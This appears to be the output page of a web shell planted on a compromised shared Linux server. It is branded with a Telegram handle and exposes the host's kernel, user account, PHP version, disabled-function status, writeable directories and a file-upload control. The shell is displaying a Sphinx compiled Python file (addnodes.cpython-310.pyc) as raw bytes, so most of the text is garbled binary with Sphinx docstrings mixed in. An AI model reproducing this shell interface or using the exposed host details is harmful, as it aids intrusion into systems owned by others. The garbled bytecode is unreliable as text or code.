https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/sphinx/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/sphinx/__pycache__/addnodes.cpython-310.pyc
o

�$�axE�	@s�dZddlmZmZmZmZmZddlmZddl	m
Z
er$ddlmZGdd�dej
�Z
Gdd	�d	ej�ZGd
d�d�ZGdd
�d
ejej
e�ZGdd�dej
e�ZGdd�dejej
�ZGdd�deejejej�ZGdd�dejejej�ZGdd�dejej
�ZGdd�deejej�ZGdd�deejejej�ZGdd�deejejej�ZeZ Gdd�dejejej�Z!Gd d!�d!e!�Z"Gd"d#�d#ejejej�Z#Gd$d%�d%ejejej�Z$Gd&d'�d'ejejej�Z%Gd(d)�d)ejejej�Z&Gd*d+�d+ej'e�Z(Gd,d-�d-e(�Z)Gd.d/�d/e(�Z*Gd0d1�d1e(�Z+Gd2d3�d3e(�Z,Gd4d5�d5e(�Z-Gd6d7�d7e(�Z.Gd8d9�d9e(�Z/Gd:d;�d;e(�Z0Gd<d=�d=e(�Z1e)e*e+e,e-e.e/e0e1g	Z2Gd>d?�d?ejej�Z3Gd@dA�dAejej
�Z4GdBdC�dCejej
�Z5GdDdE�dEejejej�Z6GdFdG�dGej7ejej�Z8GdHdI�dIejej�Z9GdJdK�dKej
�Z:GdLdM�dMej
�Z;GdNdO�dOej
�Z<GdPdQ�dQej=�Z>GdRdS�dSej
�Z?GdTdU�dUej
�Z@GdVdW�dWej
�ZAGdXdY�dYej
�ZBGdZd[�d[ej
�ZCGd\d]�d]ejDejEej
�ZFGd^d_�d_ejej
�ZGGd`da�daejej�ZHGdbdc�dcejI�ZJGddde�deejI�ZKGdfdg�dgejLe�ZMGdhdi�diejNe�ZOGdjdk�dkejej�ZPdldmdneeQeffdodp�ZRdqS)rz�
    sphinx.addnodes
    ~~~~~~~~~~~~~~~

    Additional docutils nodes.

    :copyright: Copyright 2007-2021 by the Sphinx team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�)�
TYPE_CHECKING�Any�Dict�List�Sequence)�nodes)�Element)�Sphinxc	s8eZdZdZ		d
dedededef�fdd	�
Z�ZS)�documentajThe document root element patched by Sphinx.

    This fixes that document.set_id() does not support a node having multiple node Ids.
    see https://sourceforge.net/p/docutils/patches/167/

    .. important:: This is only for Sphinx internal use.  Please don't use this
                   in your extensions.  It will be removed without deprecation period.
    N��node�msgnode�suggested_prefix�returncsfddlm}|jdkrt��|||�}nt��||�}|jdkr1|dD]}||jvr0||j|<q$|S)Nr��docutils)r�)r��ids)�sphinx.utilr�__version_info__�super�set_idr)�selfrr
rr�ret�node_id��	__class__��1/usr/lib/python3/dist-packages/sphinx/addnodes.pyrs



�zdocument.set_id)Nr)�__name__�
__module__�__qualname__�__doc__r�strr�
__classcell__rrrrr
s	���r
c@�BeZdZdZddd�Zdededdfdd	�Zdeefd
d�ZdS)
�translatablea�Node which supports translation.

    The translation goes forward with following steps:

    1. Preserve original translatable messages
    2. Apply translated messages from message catalog
    3. Extract preserved messages (for gettext builder)

    The translatable nodes MUST preserve original messages.
    And these messages should not be overridden at applying step.
    Because they are used at final step; extraction.
    rNcC�t�)z(Preserve original translatable messages.��NotImplementedError�rrrr�preserve_original_messages=�z'translatable.preserve_original_messages�original_message�translated_messagecCr()zApply translated message.r))rr.r/rrr�apply_translated_messageAr-z%translatable.apply_translated_messagecCr()zjExtract translation messages.

        :returns: list of extracted messages or messages generator
        r)r+rrr�extract_original_messagesEsz&translatable.extract_original_messages�rN)	r r!r"r#r,r$r0rr1rrrrr'/s


r'c@�eZdZdZdZdS)�not_smartquotablez+A node which does not support smart-quotes.FN)r r!r"r#�support_smartquotesrrrrr4Msr4c@r&)
�toctreez Node for inserting a "TOC tree".rNcCsJ|�dg�}|dD]\}}|r|�|�q
|�d�r#|d|d<dSdS)N�
rawentries�entries�caption�
rawcaption)�
setdefault�append�get)rr7�title�docnamerrrr,Us
�
�z"toctree.preserve_original_messagesr.r/cCsPt|d�D]\}\}}||kr||f|d|<q|�d�|kr&||d<dSdS)Nr8r:r9)�	enumerater=)rr.r/�ir>r?rrrr0`s��z toctree.apply_translated_messagecCs0g}|�|�dg��d|vr|�|d�|S)Nr7r:)�extendr=r<)r�messagesrrrr1js
z!toctree.extract_original_messagesr2)	r r!r"r#r,r$r0rr1rrrrr6Rs


r6cs@eZdZUdZgZeeed<dededdf�fdd�Z	�Z
S)	�_desc_classes_injectorz_Helper base class for injecting a fixes list of classes.

    Use as the first base class.
    �classes�args�kwargsrNcs&t�j|i|��|d�|j�dS�NrE�r�__init__rBrE)rrFrGrrrrJ�sz_desc_classes_injector.__init__)r r!r"r#rErr$�__annotations__rrJr%rrrrrDzs
"rDc@�eZdZdZdS)�descamNode for a list of object signatures and a common description of them.

    Contains one or more :py:class:`desc_signature` nodes
    and then a single :py:class:`desc_content` node.

    This node always has two classes:

    - The name of the domain it belongs to, e.g., ``py`` or ``cpp``.
    - The name of the object type in the domain, e.g., ``function``.
    N�r r!r"r#rrrrrM��rMcs,eZdZdZddgZe�fdd��Z�ZS)�desc_signatureaSNode for a single object signature.

    As default the signature is a single-line signature.
    Set ``is_multiline = True`` to describe a multi-line signature.
    In that case all child nodes must be :py:class:`desc_signature_line` nodes.

    This node always has the classes ``sig``, ``sig-object``, and the domain it belongs to.
    �sigz
sig-objectcs|�d�rdSt�jS)N�is_multiline� )r=r�child_text_separatorr+rrrrT�s
z#desc_signature.child_text_separator)r r!r"r#rE�propertyrTr%rrrrrP�s
	rPc@r3)�desc_signature_linez�Node for a line in a multi-line object signature.

    It should only be used as a child of a :py:class:`desc_signature`
    with ``is_multiline`` set to ``True``.
    Set ``add_permalink = True`` for the line that should get the permalink.
    rN)r r!r"r#�sphinx_line_typerrrrrV��rVc@rL)�desc_contentzfNode for object description content.

    Must be the last child node in a :py:class:`desc` node.
    NrNrrrrrY�rOrYcs:eZdZdZddgZdedededdf�fd	d
�Z�ZS)�desc_inlinez�Node for a signature fragment in inline text.

    This is for example used for roles like :rst:role:`cpp:expr`.

    This node always has the classes ``sig``, ``sig-inline``,
    and the name of the domain it belongs to.
    rQz
sig-inline�domainrFrGrNcs$t�j|i|��|d�|�dSrH)rrJr<)rr[rFrGrrrrJ�szdesc_inline.__init__)	r r!r"r#rEr$rrJr%rrrrrZ�s&rZc@�eZdZdZddgZdS)�	desc_namez�Node for the main object name.

    For example, in the declaration of a Python class ``MyModule.MyClass``,
    the main name is ``MyClass``.

    This node always has the class ``sig-name``.
    zsig-name�descnameN�r r!r"r#rErrrrr]�sr]c@r\)�desc_addnamez�Node for additional name parts for an object.

    For example, in the declaration of a Python class ``MyModule.MyClass``,
    the additional name part is ``MyModule.``.

    This node always has the class ``sig-prename``.
    zsig-prename�
descclassnameNr_rrrrr`�sr`c@rL)�	desc_typez+Node for return types or object type names.NrNrrrrrb�rOrbcs&eZdZdZdef�fdd�Z�ZS)�desc_returnsz4Node for a "returns" annotation (a la -> in Python).rcsdt���S)Nz -> �r�astextr+rrrre�szdesc_returns.astext)r r!r"r#r$rer%rrrrrc�srccs$eZdZdZdZ�fdd�Z�ZS)�desc_parameterlistz"Node for a general parameter list.�, csd�t����S)Nz({}))�formatrrer+rrrre�szdesc_parameterlist.astext)r r!r"r#rTrer%rrrrrf�srfc@rL)�desc_parameterzNode for a single parameter.NrNrrrrrirOrics*eZdZdZdZdef�fdd�Z�ZS)�
desc_optionalz6Node for marking optional parts of the parameter list.rgrcsdt���dS)N�[�]rdr+rrrre	szdesc_optional.astext)r r!r"r#rTr$rer%rrrrrjsrjc@rL)�desc_annotationz@Node for signature annotations (not Python 3-style annotations).NrNrrrrrm
rOrmcsJeZdZUdZgZeeed<ddededede	dd	f
�fd
d�
Z
�ZS)
�desc_sig_elementz<Common parent class of nodes for inline text of a signature.rEr�	rawsource�text�children�
attributesrNcs0t�j||g|�Ri|��|d�|j�dSrHrI�rrorprqrrrrrrJszdesc_sig_element.__init__)rr)r r!r"r#rErr$rKrrrJr%rrrrrns
���rncs>eZdZdZdgZd
dedededed	d
f
�fdd�
Z�Z	S)�desc_sig_spacez Node for a space in a signature.�wrrSrorprqrrrNcs t�j||g|�Ri|��dS)N)rrJrsrrrrJ)s zdesc_sig_space.__init__)rrS)
r r!r"r#rEr$rrrJr%rrrrrt%s���rtc@�eZdZdZdgZdS)�
desc_sig_namez&Node for an identifier in a signature.�nNr_rrrrrw.�
rwc@rv)�desc_sig_operatorz$Node for an operator in a signature.�oNr_rrrrrz3ryrzc@rv)�desc_sig_punctuationz$Node for punctuation in a signature.�pNr_rrrrr|8ryr|c@rv)�desc_sig_keywordz*Node for a general keyword in a signature.�kNr_rrrrr~=ryr~c@rv)�desc_sig_keyword_typez;Node for a keyword which is a built-in type in a signature.�ktNr_rrrrr�Bryr�c@rv)�desc_sig_literal_numberz*Node for a numeric literal in a signature.�mNr_rrrrr�Gryr�c@rv)�desc_sig_literal_stringz)Node for a string literal in a signature.�sNr_rrrrr�Lryr�c@rv)�desc_sig_literal_charz,Node for a character literal in a signature.�scNr_rrrrr�Qryr�c@rL)�versionmodifiedzNode for version change entries.

    Currently used for "versionadded", "versionchanged" and "deprecated"
    directives.
    NrNrrrrr�arOr�c@rL)�seealsozCustom "see also" admonition.NrNrrrrr�irOr�c@rL)�productionlistzKNode for grammar production lists.

    Contains ``production`` nodes.
    NrNrrrrr�mrOr�c@rL)�
productionz*Node for a single grammar production rule.NrNrrrrr�trOr�c@rL)�indexa�Node for index entries.

    This node is created by the ``index`` directive and has one attribute,
    ``entries``.  Its value is a list of 5-tuples of ``(entrytype, entryname,
    target, ignored, key)``.

    *entrytype* is one of "single", "pair", "double", "triple".

    *key* is categorization characters (usually a single character) for
    general index page. For the details of this, please see also:
    :rst:dir:`glossary` and issue #2320.
    NrNrrrrr�zrOr�c@rL)�centeredzDeprecated.NrNrrrrr��rOr�c@rL)�ackszSpecial node for "acks" lists.NrNrrrrr��rOr�c@rL)�hlistzjNode for "horizontal lists", i.e. lists that should be compressed to
    take up less vertical space.
    NrNrrrrr��rOr�c@rL)�hlistcolz)Node for one column in a horizontal list.NrNrrrrr��rOr�c@rL)�compact_paragraphz<Node for a compact paragraph (which never makes a <p> node).NrNrrrrr��rOr�c@rL)�glossaryzNode to insert a glossary.NrNrrrrr��rOr�c@rL)�onlyzANode for "only" directives (conditional inclusion based on tags).NrNrrrrr��rOr�c@rL)�
start_of_filezANode to mark start of a new file, used in the LaTeX builder only.NrNrrrrr��rOr�c@rL)�
highlightlangzcInserted to set the highlight language and line number options for
    subsequent code blocks.
    NrNrrrrr��rOr�c@rL)�tabular_col_specz;Node for specifying tabular columns, used for LaTeX output.NrNrrrrr��rOr�c@seZdZdZdZdS)�metazYNode for meta directive -- same as docutils' standard meta node,
    but pickleable.
    N)r r!r"r#�
rawcontentrrrrr��sr�c@r3)�pending_xrefz�Node for cross-references that cannot be resolved without complete
    information about all documents.

    These nodes are resolved before writing output, in
    BuildEnvironment.resolve_references.
    rN)r r!r"r#rTrrrrr��rXr�c@rL)�pending_xref_conditiona}Node for cross-references that are used to choose appropriate
    content of the reference by conditions on the resolving phase.

    When the :py:class:`pending_xref` node contains one or more
    **pending_xref_condition** nodes, the cross-reference resolver
    should choose the content of the reference using defined conditions
    in ``condition`` attribute of each pending_xref_condition nodes::

        <pending_xref refdomain="py" reftarget="io.StringIO ...>
            <pending_xref_condition condition="resolved">
                <literal>
                    StringIO
            <pending_xref_condition condition="*">
                <literal>
                    io.StringIO

    After the processing of cross-reference resolver, one of the content node
    under pending_xref_condition node is chosen by its condition and to be
    removed all of pending_xref_condition nodes::

        # When resolved the cross-reference successfully
        <reference>
            <literal>
                StringIO

        # When resolution is failed
        <reference>
            <literal>
                io.StringIO

    .. note:: This node is only allowed to be placed under pending_xref node.
              It is not allows to place it under other nodes.  In addition,
              pending_xref node must contain only pending_xref_condition
              nodes if it contains one or more pending_xref_condition nodes.

    The pending_xref_condition node should have **condition** attribute.
    Domains can be store their individual conditions into the attribute to
    filter contents on resolving phase.  As a reserved condition name,
    ``condition="*"`` is used for the fallback of resolution failure.
    Additionally, as a recommended condition name, ``condition="resolved"``
    is used for the representation of resolstion success in the intersphinx
    module.

    .. versionadded:: 4.0
    NrNrrrrr��rOr�c@rL)�number_referencez4Node for number references, similar to pending_xref.NrNrrrrr��rOr�c@rL)�download_referencez6Node for download references, similar to pending_xref.NrNrrrrr��rOr�c@rL)�literal_emphasisz{Node that behaves like `emphasis`, but further text processors are not
    applied (e.g. smartypants for HTML output).
    NrNrrrrr�rOr�c@rL)�literal_strongzyNode that behaves like `strong`, but further text processors are not
    applied (e.g. smartypants for HTML output).
    NrNrrrrr�rOr�c@rL)�manpagez Node for references to manpages.NrNrrrrr�rOr��appr	rcCs�ddlm}|�t�|�t�|�t�|�t�|�t�|�t�|�t	�|�t
�|�t�|�t�|�t
�|�t�|�t�|�t�tD]}|�|�qN|�t�|�t�|�t�|�t�|�t�|�t�|�t�|�t�|�t�|�t�|�t�|�t�|�t�|�t�|�t �|�t!�|�t"�|�t#�|�t$�|�t%�|�t&�|j'dkr�|�t(�dddd�S)Nrr)r��builtinT)�version�parallel_read_safe�parallel_write_safe))rr�add_noder6rMrPrVrYrZr]r`rbrcrfrirjrm�SIG_ELEMENTSr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rr�)r�rrxrrr�setupsX




































�r�N)Sr#�typingrrrrrrr�docutils.nodesr�sphinx.applicationr	r
�Noder'r4�Generalr6rD�
AdmonitionrM�Part�Inline�TextElementrP�FixedTextElementrVrYrZr]r`�desc_classnamerbrcrfrirjrm�inlinernrtrwrzr|r~r�r�r�r�r�r�r�r�r��	Invisibler�r�r�r�r��	paragraphr�r�r�r�r�r��Special�PreBibliographicr�r�r��	referencer�r��emphasisr��strongr�r�r$r�rrrr�<module>s�
(


	�	
0

https://t.me/RX1948 - 2025